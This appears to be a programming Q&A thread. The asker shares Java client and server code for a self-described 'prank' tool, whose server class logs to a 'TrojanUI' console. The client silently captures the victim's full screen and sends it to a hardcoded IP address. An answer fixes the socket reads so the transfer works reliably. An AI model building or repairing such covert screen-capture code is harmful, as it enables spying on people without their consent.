Reputation: 395
Im working on a prank program but is somewhat useful anyway.
What im currently trying to do is get screenshots from the client and open the screenshot on the server as a JFrame.
After numerous attempts, i found this unresolved question How to send images through sockets in java?.
The screenshot comes through but its chopped and only about 120-135kb make it through. In the top voted answer he has Thread.sleep()
on the client side before it closes the connection but i tried it without it and it came out chopped so i tried it as he put it but it still came back chopped. My client Class that reads input data is on loop and runs every 100ms so i thought that it was looping too fast so i increased it to 1000ms and it still came chopped.
I tried something different on that same thread with another answer and changed on the server side the ImageIO.read(new ByteArrayInputStream(imageAr))
to ImageIO.read(new ByteArrayInputStream(imageAr))
but that time no image came in.
This was one of the original methods that i tried when i started but this did not work at all! https://javabelazy.blogspot.com/2013/10/sending-screenshot-from-client-to.html.
Server
package UI;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.ByteBuffer;
import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JLabel;
public class ViewScreen implements Runnable{
private static Thread t;
@Override
public void run(){
//Screenshot Frame
final JFrame frame = new JFrame();
frame.setSize(500, 500);
frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
t = new Thread(){
public void run(){
try{
int port = 6667;
ServerSocket serverSocket = new ServerSocket(port);
Socket server = serverSocket.accept();
TrojanUI.console.append("[*]Waiting for screenshot on port " + serverSocket.getLocalPort() + "...\n");
DataInputStream in = new DataInputStream(server.getInputStream());
DataOutputStream out = new DataOutputStream(server.getOutputStream());
byte[] sizeAr = new byte[4];
in.read(sizeAr);
int size = ByteBuffer.wrap(sizeAr).asIntBuffer().get();
byte[] imageAr = new byte[size];
in.read(imageAr);
BufferedImage image = ImageIO.read(new ByteArrayInputStream(imageAr));
ImageIO.write(image, "jpg", new File("screen.jpg"));
server.close();
JLabel label = new JLabel();
label.setIcon(new ImageIcon(image));
frame.getContentPane().add(label);
}catch(IOException e){
e.printStackTrace();
}
}
};
t.start();
frame.setVisible(true);
}
}
This part of the server code is a new thread, creating a new socket and a new JFrame to display the screenshot. Why am i doing this? On another thread i read that the image would only send if the socket closes. So since i dont want the main socket to close or else i lose connection, i created another socket that will open temporarily only to stream the screenshot.
Client
package tc;
import java.awt.AWTException;
import java.awt.HeadlessException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.nio.ByteBuffer;
import javax.imageio.ImageIO;
public class SendScreen{
public SendScreen(){
try{
//creates new socket on port 6667
Socket sclient = new Socket("192.168.0.5",6667);
OutputStream sOutToServer = sclient.getOutputStream();
DataOutputStream out = new DataOutputStream(sOutToServer);
InputStream sInFromServer = sclient.getInputStream();
DataInputStream in = new DataInputStream(sInFromServer);
//Takes screenshot and sends it to server as byte array
BufferedImage screencap = new Robot().createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ImageIO.write(screencap,"jpg",baos);
//Gets screenshot byte size and sends it to server and flushes then closes the connection
byte[] size = ByteBuffer.allocate(4).putInt(baos.size()).array();
out.write(size);
out.write(baos.toByteArray());
out.flush();
sclient.close();
}catch(HeadlessException | AWTException | IOException e){
e.printStackTrace();
}
}
}
On the server side i added another line that creates the image locally just to troubleshoot if anything comes through.
Thanks in advance
Upvotes: 3
Views: 2023
Reputation: 310909
You're assuming that read()
fills the buffer. Nothing in the specification that says so. Try this:
int size = in.readInt();
byte[] imageAr = new byte[size];
in.readFully(imageAr);
readInt()
and readFully()
are guaranteed to read the correct amount, or fail in the attempt.
You're also giving yourself a hard time at the sending end. Try this:
out.writeInt(size);
out.write(baos.toByteArray());
out.close();
Note that flush()
before close()
is redundant, but you should close the outermost output stream around the socket, not the socket, to get it auto-flushed.
In fact as you are closing the connection after each image you could get rid of the size word and the byte array input/output streams and just do ImageIO.read/write
directly from/to the socket. It would save a lot of memory.
Upvotes: 3